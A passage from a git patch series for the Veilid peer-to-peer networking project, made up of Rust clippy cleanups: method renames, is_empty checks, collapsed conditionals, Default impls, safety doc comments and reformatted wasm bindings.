b/veilid-core/src/network_manager/types/socket_address.rs @@ -34,27 +34,27 @@ impl SocketAddress { self.port = port } pub fn with_port(&self, port: u16) -> Self { - let mut sa = self.clone(); + let mut sa = *self; sa.port = port; sa } - pub fn to_canonical(&self) -> SocketAddress { + pub fn canonical(&self) -> SocketAddress { SocketAddress { - address: self.address.to_canonical(), + address: self.address.canonical(), port: self.port, } } - pub fn to_ip_addr(&self) -> IpAddr { - self.address.to_ip_addr() + pub fn ip_addr(&self) -> IpAddr { + self.address.ip_addr() } - pub fn to_socket_addr(&self) -> SocketAddr { - self.address.to_socket_addr(self.port) + pub fn socket_addr(&self) -> SocketAddr { + self.address.socket_addr(self.port) } } impl fmt::Display for SocketAddress { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> Result<(), fmt::Error> { - write!(f, "{}", self.to_socket_addr()) + write!(f, "{}", self.socket_addr()) } } diff --git a/veilid-core/src/routing_table/bucket_entry.rs b/veilid-core/src/routing_table/bucket_entry.rs index 0d6fd71b..ebacfe3e 100644 --- a/veilid-core/src/routing_table/bucket_entry.rs +++ b/veilid-core/src/routing_table/bucket_entry.rs @@ -223,7 +223,7 @@ impl BucketEntryInner { // Lower timestamp to the front, recent or no timestamp is at the end if let Some(e1_ts) = &e1.peer_stats.rpc_stats.first_consecutive_seen_ts { if let Some(e2_ts) = &e2.peer_stats.rpc_stats.first_consecutive_seen_ts { - e1_ts.cmp(&e2_ts) + e1_ts.cmp(e2_ts) } else { std::cmp::Ordering::Less } @@ -437,7 +437,7 @@ impl BucketEntryInner { // Clears the table of last connections except the most recent one pub fn clear_last_connections_except_latest(&mut self) { - if self.last_connections.len() == 0 { + if self.last_connections.is_empty() { // No last_connections return; } @@ -454,7 +454,7 @@ impl BucketEntryInner { let Some(most_recent_connection) = most_recent_connection else { return; }; - for (k, _) in &self.last_connections { + for k in self.last_connections.keys() { if k != most_recent_connection { dead_keys.push(k.clone()); } diff --git a/veilid-core/src/routing_table/mod.rs b/veilid-core/src/routing_table/mod.rs index 38b89504..8808d757 100644 --- a/veilid-core/src/routing_table/mod.rs +++ b/veilid-core/src/routing_table/mod.rs @@ -388,11 +388,15 @@ impl RoutingTable { } // Caches valid, load saved routing table - let Some(serialized_bucket_map): Option = db.load_json(0, SERIALIZED_BUCKET_MAP).await? else { + let Some(serialized_bucket_map): Option = + db.load_json(0, SERIALIZED_BUCKET_MAP).await? + else { log_rtab!(debug "no bucket map in saved routing table"); return Ok(()); }; - let Some(all_entry_bytes): Option = db.load_json(0, ALL_ENTRY_BYTES).await? else { + let Some(all_entry_bytes): Option = + db.load_json(0, ALL_ENTRY_BYTES).await? + else { log_rtab!(debug "no all_entry_bytes in saved routing table"); return Ok(()); }; diff --git a/veilid-core/src/routing_table/routing_domain_editor.rs b/veilid-core/src/routing_table/routing_domain_editor.rs index 385fe4b5..6e015fe4 100644 --- a/veilid-core/src/routing_table/routing_domain_editor.rs +++ b/veilid-core/src/routing_table/routing_domain_editor.rs @@ -258,11 +258,9 @@ impl RoutingDomainEditor { } } // Clear the routespecstore cache if our PublicInternet dial info has changed - if changed { - if self.routing_domain == RoutingDomain::PublicInternet { - let rss = self.routing_table.route_spec_store(); - rss.reset(); - } + if changed && self.routing_domain == RoutingDomain::PublicInternet { + let rss = self.routing_table.route_spec_store(); + rss.reset(); } } } diff --git a/veilid-core/src/routing_table/routing_domains.rs b/veilid-core/src/routing_table/routing_domains.rs index ba120369..df7c7036 100644 --- a/veilid-core/src/routing_table/routing_domains.rs +++ b/veilid-core/src/routing_table/routing_domains.rs @@ -250,7 +250,7 @@ pub trait RoutingDomainDetail { peer_b: &PeerInfo, dial_info_filter: DialInfoFilter, sequencing: Sequencing, - dif_sort: Option core::cmp::Ordering>>, + dif_sort: Option>, ) -> ContactMethod; } @@ -301,12 +301,10 @@ fn first_filtered_dial_info_detail_between_nodes( } else { Some(Box::new(move |a,b| { DialInfoDetail::ordered_sequencing_sort(a,b) })) } + } else if let Some(dif_sort) = dif_sort { + Some(Box::new(move |a,b| { dif_sort(a,b) })) } else { - if let Some(dif_sort) = dif_sort { - Some(Box::new(move |a,b| { dif_sort(a,b) })) - } else { - None - } + None }; // If the filter is dead then we won't be able to connect @@ -336,7 +334,7 @@ impl RoutingDomainDetail for PublicInternetRoutingDomainDetail { peer_b: &PeerInfo, dial_info_filter: DialInfoFilter, sequencing: Sequencing, - dif_sort: Option core::cmp::Ordering>>, + dif_sort: Option>, ) -> ContactMethod { // Get the nodeinfos for convenience let node_a = peer_a.signed_node_info().node_info(); @@ -554,7 +552,7 @@ impl RoutingDomainDetail for LocalNetworkRoutingDomainDetail { &mut self.common } fn can_contain_address(&self, address: Address) -> bool { - let ip = address.to_ip_addr(); + let ip = address.ip_addr(); for localnet in &self.local_networks { if ipaddr_in_network(ip, localnet.0, localnet.1) { return true; @@ -570,7 +568,7 @@ impl RoutingDomainDetail for LocalNetworkRoutingDomainDetail { peer_b: &PeerInfo, dial_info_filter: DialInfoFilter, sequencing: Sequencing, - dif_sort: Option core::cmp::Ordering>>, + dif_sort: Option>, ) -> ContactMethod { // Scope the filter down to protocols node A can do outbound let dial_info_filter = dial_info_filter.filtered( @@ -596,12 +594,10 @@ impl RoutingDomainDetail for LocalNetworkRoutingDomainDetail { } else { Some(Box::new(move |a,b| { DialInfoDetail::ordered_sequencing_sort(a,b) })) } + } else if let Some(dif_sort) = dif_sort { + Some(Box::new(move |a,b| { dif_sort(a,b) })) } else { - if let Some(dif_sort) = dif_sort { - Some(Box::new(move |a,b| { dif_sort(a,b) })) - } else { - None - } + None }; // If the filter is dead then we won't be able to connect diff --git a/veilid-core/src/routing_table/routing_table_inner.rs b/veilid-core/src/routing_table/routing_table_inner.rs index c2cfc291..36460be9 100644 --- a/veilid-core/src/routing_table/routing_table_inner.rs +++ b/veilid-core/src/routing_table/routing_table_inner.rs @@ -550,10 +550,9 @@ impl RoutingTableInner { } // If we don't have node status for this node, then we should ping it to get some node status - if e.has_node_info(routing_domain.into()) { - if e.node_status(routing_domain).is_none() { - return true; - } + if e.has_node_info(routing_domain.into()) && e.node_status(routing_domain).is_none() + { + return true; } // If this entry needs a ping because this node hasn't seen our latest node info, then do it diff --git a/veilid-core/src/routing_table/tasks/bootstrap.rs b/veilid-core/src/routing_table/tasks/bootstrap.rs index f48a6011..0f89655e 100644 --- a/veilid-core/src/routing_table/tasks/bootstrap.rs +++ b/veilid-core/src/routing_table/tasks/bootstrap.rs @@ -327,7 +327,7 @@ impl RoutingTable { } } } - if bootstrap_dialinfos.len() > 0 { + if !bootstrap_dialinfos.is_empty() { return self .direct_bootstrap_task_routine(stop_token, bootstrap_dialinfos) .await; diff --git a/veilid-core/src/routing_table/tasks/private_route_management.rs b/veilid-core/src/routing_table/tasks/private_route_management.rs index dcf9fee1..2bab77de 100644 --- a/veilid-core/src/routing_table/tasks/private_route_management.rs +++ b/veilid-core/src/routing_table/tasks/private_route_management.rs @@ -78,8 +78,11 @@ impl RoutingTable { // Save up to N unpublished routes and test them let background_safety_route_count = self.get_background_safety_route_count(); - for x in 0..(usize::min(background_safety_route_count, unpublished_routes.len())) { - must_test_routes.push(unpublished_routes[x].0); + for unpublished_route in unpublished_routes.iter().take(usize::min( + background_safety_route_count, + unpublished_routes.len(), + )) { + must_test_routes.push(unpublished_route.0); } // Kill off all but N unpublished routes rather than testing them @@ -225,9 +228,9 @@ impl RoutingTable { let remote_routes_needing_testing = rss.list_remote_routes(|k, v| { let stats = v.get_stats(); if stats.needs_testing(cur_ts) { - return Some(*k); + Some(*k) } else { - return None; + None } }); if !remote_routes_needing_testing.is_empty() { diff --git a/veilid-core/src/routing_table/types/dial_info_detail.rs b/veilid-core/src/routing_table/types/dial_info_detail.rs index 4e59b1af..dc7db216 100644 --- a/veilid-core/src/routing_table/types/dial_info_detail.rs +++ b/veilid-core/src/routing_table/types/dial_info_detail.rs @@ -13,6 +13,8 @@ impl MatchesDialInfoFilter for DialInfoDetail { } } +pub type DialInfoDetailSort = dyn Fn(&DialInfoDetail, &DialInfoDetail) -> core::cmp::Ordering; + impl DialInfoDetail { pub fn ordered_sequencing_sort(a: &DialInfoDetail, b: &DialInfoDetail) -> core::cmp::Ordering { let c = DialInfo::ordered_sequencing_sort(&a.dial_info, &b.dial_info); diff --git a/veilid-core/src/routing_table/types/direction.rs b/veilid-core/src/routing_table/types/direction.rs index 76187032..9702d3ca 100644 --- a/veilid-core/src/routing_table/types/direction.rs +++ b/veilid-core/src/routing_table/types/direction.rs @@ -2,7 +2,7 @@ use super::*; -#[allow(clippy::derive_hash_xor_eq)] +#[allow(clippy::derived_hash_with_manual_eq)] #[derive(Debug, PartialOrd, Ord, Hash, EnumSetType, Serialize, Deserialize)] #[enumset(repr = "u8")] pub enum Direction { diff --git a/veilid-core/src/routing_table/types/peer_info.rs b/veilid-core/src/routing_table/types/peer_info.rs index 60e83430..7a143790 100644 --- a/veilid-core/src/routing_table/types/peer_info.rs +++ b/veilid-core/src/routing_table/types/peer_info.rs @@ -8,7 +8,7 @@ pub struct PeerInfo { impl PeerInfo { pub fn new(node_ids: TypedKeyGroup, signed_node_info: SignedNodeInfo) -> Self { - assert!(node_ids.len() > 0 && node_ids.len() <= MAX_CRYPTO_KINDS); + assert!(!node_ids.is_empty() && node_ids.len() <= MAX_CRYPTO_KINDS); Self { node_ids, signed_node_info, diff --git a/veilid-core/src/routing_table/types/routing_domain.rs b/veilid-core/src/routing_table/types/routing_domain.rs index 8947fd82..75edaca8 100644 --- a/veilid-core/src/routing_table/types/routing_domain.rs +++ b/veilid-core/src/routing_table/types/routing_domain.rs @@ -3,7 +3,7 @@ use super::*; // Routing domain here is listed in order of preference, keep in order -#[allow(clippy::derive_hash_xor_eq)] +#[allow(clippy::derived_hash_with_manual_eq)] #[derive(Debug, Ord, PartialOrd, Hash, EnumSetType, Serialize, Deserialize)] #[enumset(repr = "u8")] pub enum RoutingDomain { diff --git a/veilid-core/src/routing_table/types/signed_direct_node_info.rs b/veilid-core/src/routing_table/types/signed_direct_node_info.rs index 521b1bbe..ddc8198b 100644 --- a/veilid-core/src/routing_table/types/signed_direct_node_info.rs +++ b/veilid-core/src/routing_table/types/signed_direct_node_info.rs @@ -29,7 +29,7 @@ impl SignedDirectNodeInfo { // Verify the signatures that we can let validated_node_ids = crypto.verify_signatures(node_ids, &node_info_bytes, &self.signatures)?; - if validated_node_ids.len() == 0 { + if validated_node_ids.is_empty() { apibail_generic!("no valid node ids in direct node info"); } diff --git a/veilid-core/src/routing_table/types/signed_node_info.rs b/veilid-core/src/routing_table/types/signed_node_info.rs index 801de847..d56597ea 100644 --- a/veilid-core/src/routing_table/types/signed_node_info.rs +++ b/veilid-core/src/routing_table/types/signed_node_info.rs @@ -33,8 +33,8 @@ impl SignedNodeInfo { } pub fn node_info(&self) -> &NodeInfo { match self { - SignedNodeInfo::Direct(d) => &d.node_info(), - SignedNodeInfo::Relayed(r) => &r.node_info(), + SignedNodeInfo::Direct(d) => d.node_info(), + SignedNodeInfo::Relayed(r) => r.node_info(), } } pub fn relay_ids(&self) -> TypedKeyGroup { diff --git a/veilid-core/src/routing_table/types/signed_relayed_node_info.rs b/veilid-core/src/routing_table/types/signed_relayed_node_info.rs index 462ebb31..bed33ba0 100644 --- a/veilid-core/src/routing_table/types/signed_relayed_node_info.rs +++ b/veilid-core/src/routing_table/types/signed_relayed_node_info.rs @@ -55,7 +55,7 @@ impl SignedRelayedNodeInfo { )?; let validated_node_ids = crypto.verify_signatures(node_ids, &node_info_bytes, &self.signatures)?; - if validated_node_ids.len() == 0 { + if validated_node_ids.is_empty() { apibail_generic!("no valid node ids in relayed node info"); } Ok(validated_node_ids) diff --git a/veilid-core/src/storage_manager/mod.rs b/veilid-core/src/storage_manager/mod.rs index fe80c4ad..05ef39c1 100644 --- a/veilid-core/src/storage_manager/mod.rs +++ b/veilid-core/src/storage_manager/mod.rs @@ -474,21 +474,21 @@ impl StorageManager { pub async fn watch_values( &self, - key: TypedKey, - subkeys: ValueSubkeyRangeSet, - expiration: Timestamp, - count: u32, + _key: TypedKey, + _subkeys: ValueSubkeyRangeSet, + _expiration: Timestamp, + _count: u32, ) -> VeilidAPIResult { - let inner = self.lock().await?; + let _inner = self.lock().await?; unimplemented!(); } pub async fn cancel_watch_values( &self, - key: TypedKey, - subkeys: ValueSubkeyRangeSet, + _key: TypedKey, + _subkeys: ValueSubkeyRangeSet, ) -> VeilidAPIResult { - let inner = self.lock().await?; + let _inner = self.lock().await?; unimplemented!(); } } diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 5d633868..3801e4cd 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -219,19 +219,19 @@ fn get_destination( let private_route = if let Some(prid) = get_route_id(rss.clone(), false, true)(text) { let Some(private_route) = rss.best_remote_private_route(&prid) else { - return None; - }; + return None; + }; private_route } else { let mut dc = DEBUG_CACHE.lock(); let n = get_number(text)?; let prid = dc.imported_routes.get(n)?.clone(); let Some(private_route) = rss.best_remote_private_route(&prid) else { - // Remove imported route - dc.imported_routes.remove(n); - info!("removed dead imported route {}", n); - return None; - }; + // Remove imported route + dc.imported_routes.remove(n); + info!("removed dead imported route {}", n); + return None; + }; private_route }; diff --git a/veilid-flutter/rust/src/lib.rs b/veilid-flutter/rust/src/lib.rs index 2121c5ce..b844dd3a 100644 --- a/veilid-flutter/rust/src/lib.rs +++ b/veilid-flutter/rust/src/lib.rs @@ -1,3 +1,6 @@ +#![deny(clippy::all)] +#![allow(clippy::comparison_chain, clippy::upper_case_acronyms)] +#![deny(unused_must_use)] #![recursion_limit = "256"] mod dart_ffi; diff --git a/veilid-server/src/main.rs b/veilid-server/src/main.rs index 2c789bbc..a555f2ee 100644 --- a/veilid-server/src/main.rs +++ b/veilid-server/src/main.rs @@ -1,5 +1,6 @@ #![forbid(unsafe_code)] #![deny(clippy::all)] +#![allow(clippy::comparison_chain, clippy::upper_case_acronyms)] #![deny(unused_must_use)] #![recursion_limit = "256"] diff --git a/veilid-tools/src/assembly_buffer.rs b/veilid-tools/src/assembly_buffer.rs index 75ea4143..316f86b8 100644 --- a/veilid-tools/src/assembly_buffer.rs +++ b/veilid-tools/src/assembly_buffer.rs @@ -430,3 +430,9 @@ impl AssemblyBuffer { Ok(NetworkResult::value(())) } } + +impl Default for AssemblyBuffer { + fn default() -> Self { + Self::new() + } +} diff --git a/veilid-tools/src/async_tag_lock.rs b/veilid-tools/src/async_tag_lock.rs index ec9e8ec3..4375b7ee 100644 --- a/veilid-tools/src/async_tag_lock.rs +++ b/veilid-tools/src/async_tag_lock.rs @@ -91,6 +91,11 @@ where } } + pub fn is_empty(&self) -> bool { + let inner = self.inner.lock(); + inner.table.is_empty() + } + pub fn len(&self) -> usize { let inner = self.inner.lock(); inner.table.len() @@ -154,3 +159,12 @@ where Some(AsyncTagLockGuard::new(self.clone(), tag, guard)) } } + +impl Default for AsyncTagLockTable +where + T: Hash + Eq + Clone + Debug, +{ + fn default() -> Self { + Self::new() + } +} diff --git a/veilid-tools/src/lib.rs b/veilid-tools/src/lib.rs index c824f696..e9cb44b1 100644 --- a/veilid-tools/src/lib.rs +++ b/veilid-tools/src/lib.rs @@ -20,6 +20,9 @@ //! * `rt-async-std` - Uses `async-std` as the async runtime //! * `rt-wasm-bindgen` - When building for the `wasm32` architecture, use this to enable `wasm-bindgen-futures` as the async runtime //! +#![deny(clippy::all)] +#![allow(clippy::comparison_chain, clippy::upper_case_acronyms)] +#![deny(unused_must_use)] // pub mod bump_port; pub mod assembly_buffer; diff --git a/veilid-tools/src/timestamp.rs b/veilid-tools/src/timestamp.rs index 94f9871e..fb290966 100644 --- a/veilid-tools/src/timestamp.rs +++ b/veilid-tools/src/timestamp.rs @@ -68,29 +68,32 @@ cfg_if! { let show_month = show_year || now.month() != date.month(); let show_date = show_month || now.day() != date.day(); + let s_year = if show_year { + format!("{:04}/",date.year()) + } else { + "".to_owned() + }; + let s_month = if show_month { + format!("{:02}/",date.month()) + } else { + "".to_owned() + }; + let s_date = if show_date { + format!("{:02}-",date.day()) + } else { + "".to_owned() + }; + let s_time = format!("{:02}:{:02}:{:02}.{:04}", + date.hour(), + date.minute(), + date.second(), + date.nanosecond()/1_000_000 + ); format!("{}{}{}{}", - if show_year { - format!("{:04}/",date.year()) - } else { - "".to_owned() - }, - if show_month { - format!("{:02}/",date.month()) - } else { - "".to_owned() - }, - if show_date { - format!("{:02}-",date.day()) - } else { - "".to_owned() - }, - format!("{:02}:{:02}:{:02}.{:04}", - date.hour(), - date.minute(), - date.second(), - date.nanosecond()/1_000_000 - )) - + s_year, + s_month, + s_date, + s_time) } } } diff --git a/veilid-tools/src/tools.rs b/veilid-tools/src/tools.rs index d26f87b1..9543f9aa 100644 --- a/veilid-tools/src/tools.rs +++ b/veilid-tools/src/tools.rs @@ -242,8 +242,10 @@ pub fn compatible_unspecified_socket_addr(socket_addr: &SocketAddr) -> SocketAdd pub fn listen_address_to_socket_addrs(listen_address: &str) -> Result, String> { // If no address is specified, but the port is, use ipv4 and ipv6 unspecified // If the address is specified, only use the specified port and fail otherwise - let ip_addrs = [IpAddr::V4(Ipv4Addr::UNSPECIFIED), - IpAddr::V6(Ipv6Addr::UNSPECIFIED)]; + let ip_addrs = [ + IpAddr::V4(Ipv4Addr::UNSPECIFIED), + IpAddr::V6(Ipv6Addr::UNSPECIFIED), + ]; Ok(if let Some(portstr) = listen_address.strip_prefix(':') { let port = portstr @@ -333,6 +335,8 @@ cfg_if::cfg_if! { #[repr(C, align(8))] struct AlignToEight([u8; 8]); +/// # Safety +/// Ensure you immediately initialize this vector as it could contain sensitive data pub unsafe fn aligned_8_u8_vec_uninit(n_bytes: usize) -> Vec { let n_units = (n_bytes + mem::size_of::() - 1) / mem::size_of::(); let mut aligned: Vec = Vec::with_capacity(n_units); @@ -347,6 +351,8 @@ pub unsafe fn aligned_8_u8_vec_uninit(n_bytes: usize) -> Vec { ) } +/// # Safety +/// Ensure you immediately initialize this vector as it could contain sensitive data pub unsafe fn unaligned_u8_vec_uninit(n_bytes: usize) -> Vec { let mut unaligned: Vec = Vec::with_capacity(n_bytes); let ptr = unaligned.as_mut_ptr(); diff --git a/veilid-wasm/src/lib.rs b/veilid-wasm/src/lib.rs index fa87391c..d28eeb0f 100644 --- a/veilid-wasm/src/lib.rs +++ b/veilid-wasm/src/lib.rs @@ -1,5 +1,7 @@ // wasm-bindgen and clippy don't play well together yet -#![allow(clippy::all)] +#![deny(clippy::all)] +#![allow(clippy::comparison_chain, clippy::upper_case_acronyms)] +#![deny(unused_must_use)] #![cfg(target_arch = "wasm32")] #![no_std] @@ -363,7 +365,10 @@ pub fn routing_context_with_custom_privacy(id: u32, safety_selection: String) -> let Some(routing_context) = rc.get(&id) else { return 0; }; - let Ok(routing_context) = routing_context.clone().with_custom_privacy(safety_selection) else { + let Ok(routing_context) = routing_context + .clone() + .with_custom_privacy(safety_selection) + else { return 0; }; let new_id = add_routing_context(routing_context); @@ -392,7 +397,11 @@ pub fn routing_context_app_call(id: u32, target_string: String, request: String) let routing_context = { let rc = (*ROUTING_CONTEXTS).borrow(); let Some(routing_context) = rc.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("routing_context_app_call", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "routing_context_app_call", + "id", + id, + )); }; routing_context.clone() }; @@ -414,7 +423,11 @@ pub fn routing_context_app_message(id: u32, target_string: String, message: Stri let routing_context = { let rc = (*ROUTING_CONTEXTS).borrow(); let Some(routing_context) = rc.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("routing_context_app_message", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "routing_context_app_message", + "id", + id, + )); }; routing_context.clone() }; @@ -439,7 +452,11 @@ pub fn routing_context_create_dht_record(id: u32, schema: String, kind: u32) -> let routing_context = { let rc = (*ROUTING_CONTEXTS).borrow(); let Some(routing_context) = rc.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("routing_context_create_dht_record", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "routing_context_create_dht_record", + "id", + id, + )); }; routing_context.clone() }; @@ -460,7 +477,11 @@ pub fn routing_context_open_dht_record(id: u32, key: String, writer: Option Promise { let routing_context = { let rc = (*ROUTING_CONTEXTS).borrow(); let Some(routing_context) = rc.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("routing_context_close_dht_record", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "routing_context_close_dht_record", + "id", + id, + )); }; routing_context.clone() }; @@ -492,7 +517,11 @@ pub fn routing_context_delete_dht_record(id: u32, key: String) -> Promise { let routing_context = { let rc = (*ROUTING_CONTEXTS).borrow(); let Some(routing_context) = rc.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("routing_context_delete_dht_record", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "routing_context_delete_dht_record", + "id", + id, + )); }; routing_context.clone() }; @@ -513,7 +542,11 @@ pub fn routing_context_get_dht_value( let routing_context = { let rc = (*ROUTING_CONTEXTS).borrow(); let Some(routing_context) = rc.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("routing_context_get_dht_value", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "routing_context_get_dht_value", + "id", + id, + )); }; routing_context.clone() }; @@ -535,7 +568,11 @@ pub fn routing_context_set_dht_value(id: u32, key: String, subkey: u32, data: St let routing_context = { let rc = (*ROUTING_CONTEXTS).borrow(); let Some(routing_context) = rc.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("routing_context_set_dht_value", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "routing_context_set_dht_value", + "id", + id, + )); }; routing_context.clone() }; @@ -561,7 +598,11 @@ pub fn routing_context_watch_dht_values( let routing_context = { let rc = (*ROUTING_CONTEXTS).borrow(); let Some(routing_context) = rc.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("routing_context_watch_dht_values", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "routing_context_watch_dht_values", + "id", + id, + )); }; routing_context.clone() }; @@ -582,7 +623,11 @@ pub fn routing_context_cancel_dht_watch(id: u32, key: String, subkeys: String) - let routing_context = { let rc = (*ROUTING_CONTEXTS).borrow(); let Some(routing_context) = rc.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("routing_context_cancel_dht_watch", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "routing_context_cancel_dht_watch", + "id", + id, + )); }; routing_context.clone() }; @@ -730,7 +775,11 @@ pub fn table_db_get_keys(id: u32, col: u32) -> Promise { let table_db = { let table_dbs = (*TABLE_DBS).borrow(); let Some(table_db) = table_dbs.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("table_db_store", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "table_db_store", + "id", + id, + )); }; table_db.clone() }; @@ -780,7 +829,11 @@ pub fn table_db_transaction_commit(id: u32) -> Promise { let tdbt = { let tdbts = (*TABLE_DB_TRANSACTIONS).borrow(); let Some(tdbt) = tdbts.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("table_db_transaction_commit", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "table_db_transaction_commit", + "id", + id, + )); }; tdbt.clone() }; @@ -796,7 +849,11 @@ pub fn table_db_transaction_rollback(id: u32) -> Promise { let tdbt = { let tdbts = (*TABLE_DB_TRANSACTIONS).borrow(); let Some(tdbt) = tdbts.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("table_db_transaction_rollback", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "table_db_transaction_rollback", + "id", + id, + )); }; tdbt.clone() }; @@ -818,7 +875,11 @@ pub fn table_db_transaction_store(id: u32, col: u32, key: String, value: String) let tdbt = { let tdbts = (*TABLE_DB_TRANSACTIONS).borrow(); let Some(tdbt) = tdbts.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("table_db_transaction_store", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "table_db_transaction_store", + "id", + id, + )); }; tdbt.clone() }; @@ -837,7 +898,11 @@ pub fn table_db_transaction_delete(id: u32, col: u32, key: String) -> Promise { let tdbt = { let tdbts = (*TABLE_DB_TRANSACTIONS).borrow(); let Some(tdbt) = tdbts.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("table_db_transaction_delete", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "table_db_transaction_delete", + "id", + id, + )); }; tdbt.clone() }; @@ -859,7 +924,11 @@ pub fn table_db_store(id: u32, col: u32, key: String, value: String) -> Promise let table_db = { let table_dbs = (*TABLE_DBS).borrow(); let Some(table_db) = table_dbs.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("table_db_store", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "table_db_store", + "id", + id, + )); }; table_db.clone() }; @@ -878,7 +947,11 @@ pub fn table_db_load(id: u32, col: u32, key: String) -> Promise { let table_db = { let table_dbs = (*TABLE_DBS).borrow(); let Some(table_db) = table_dbs.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("table_db_load", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "table_db_load", + "id", + id, + )); }; table_db.clone() }; @@ -898,7 +971,11 @@ pub fn table_db_delete(id: u32, col: u32, key: String) -> Promise { let table_db = { let table_dbs = (*TABLE_DBS).borrow(); let Some(table_db) = table_dbs.get(&id) else { - return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument("table_db_delete", "id", id)); + return APIResult::Err(veilid_core::VeilidAPIError::invalid_argument( + "table_db_delete", + "id", + id, + )); }; table_db.clone() }; From e4ee093951047a734ab16306296a55e02c98c810 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 17 Sep 2023 20:45:30 -0400 Subject: [PATCH 55/86] clippy work --- veilid-core/src/network_manager/send_data.rs | 2 +- veilid-core/src/routing_table/bucket.rs | 11 +- veilid-core/src/routing_table/bucket_entry.rs | 18 +- veilid-core/src/routing_table/debug.rs | 2 +- veilid-core/src/routing_table/mod.rs | 10 +- veilid-core/src/routing_table/node_ref.rs | 6 +- veilid-core/src/routing_table/privacy.rs | 14 +- .../route_spec_store/permutation.rs | 4 +- .../route_spec_store/route_set_spec_detail.rs | 2 +- .../route_spec_store/route_spec_store.rs | 409 +++++++++++------- .../route_spec_store_cache.rs | 2 +- .../route_spec_store_content.rs | 18 +- .../src/routing_table/routing_domains.rs | 6 +- .../src/routing_table/routing_table_inner.rs | 2 +- .../src/routing_table/tasks/bootstrap.rs | 10 +- .../src/routing_table/tasks/ping_validator.rs | 15 +- .../coders/private_safety_route.rs | 6 +- veilid-core/src/rpc_processor/destination.rs | 45 +- veilid-core/src/rpc_processor/mod.rs | 2 +- 19 files changed, 350 insertions(+), 234 deletions(-) diff --git a/veilid-core/src/network_manager/send_data.rs b/veilid-core/src/network_manager/send_data.rs index bfa95c93..6818dbc3 100644 --- a/veilid-core/src/network_manager/send_data.rs +++ b/veilid-core/src/network_manager/send_data.rs @@ -396,7 +396,7 @@ impl NetworkManager { dial_info_failures_map.insert(did.dial_info, ts); } } - let dif_sort: Option core::cmp::Ordering>> = if dial_info_failures_map.is_empty() { + let dif_sort: Option> = if dial_info_failures_map.is_empty() { None } else { Some(Arc::new(move |a: &DialInfoDetail, b: &DialInfoDetail| { diff --git a/veilid-core/src/routing_table/bucket.rs b/veilid-core/src/routing_table/bucket.rs index f34405f6..78323ed3 100644 --- a/veilid-core/src/routing_table/bucket.rs +++ b/veilid-core/src/routing_table/bucket.rs @@ -75,8 +75,8 @@ impl Bucket { }); } let bucket_data = SerializedBucketData { entries }; - let out = serialize_json_bytes(&bucket_data); - out + + serialize_json_bytes(bucket_data) } /// Create a new entry with a node_id of this crypto kind and return it @@ -129,11 +129,8 @@ impl Bucket { let mut extra_entries = bucket_len - bucket_depth; // Get the sorted list of entries by their kick order - let mut sorted_entries: Vec<(PublicKey, Arc)> = self - .entries - .iter() - .map(|(k, v)| (k.clone(), v.clone())) - .collect(); + let mut sorted_entries: Vec<(PublicKey, Arc)> = + self.entries.iter().map(|(k, v)| (*k, v.clone())).collect(); let cur_ts = get_aligned_timestamp(); sorted_entries.sort_by(|a, b| -> core::cmp::Ordering { if a.0 == b.0 { diff --git a/veilid-core/src/routing_table/bucket_entry.rs b/veilid-core/src/routing_table/bucket_entry.rs index ebacfe3e..2d768fec 100644 --- a/veilid-core/src/routing_table/bucket_entry.rs +++ b/veilid-core/src/routing_table/bucket_entry.rs @@ -492,7 +492,7 @@ impl BucketEntryInner { } if !only_live { - return Some(v.clone()); + return Some(*v); } // Check if the connection is still considered live @@ -509,7 +509,7 @@ impl BucketEntryInner { }; if alive { - Some(v.clone()) + Some(*v) } else { None } @@ -583,13 +583,11 @@ impl BucketEntryInner { RoutingDomain::LocalNetwork => self .local_network .node_status - .as_ref() - .map(|ns| ns.clone()), + .as_ref().cloned(), RoutingDomain::PublicInternet => self .public_internet .node_status - .as_ref() - .map(|ns| ns.clone()), + .as_ref().cloned() } } @@ -892,7 +890,7 @@ impl 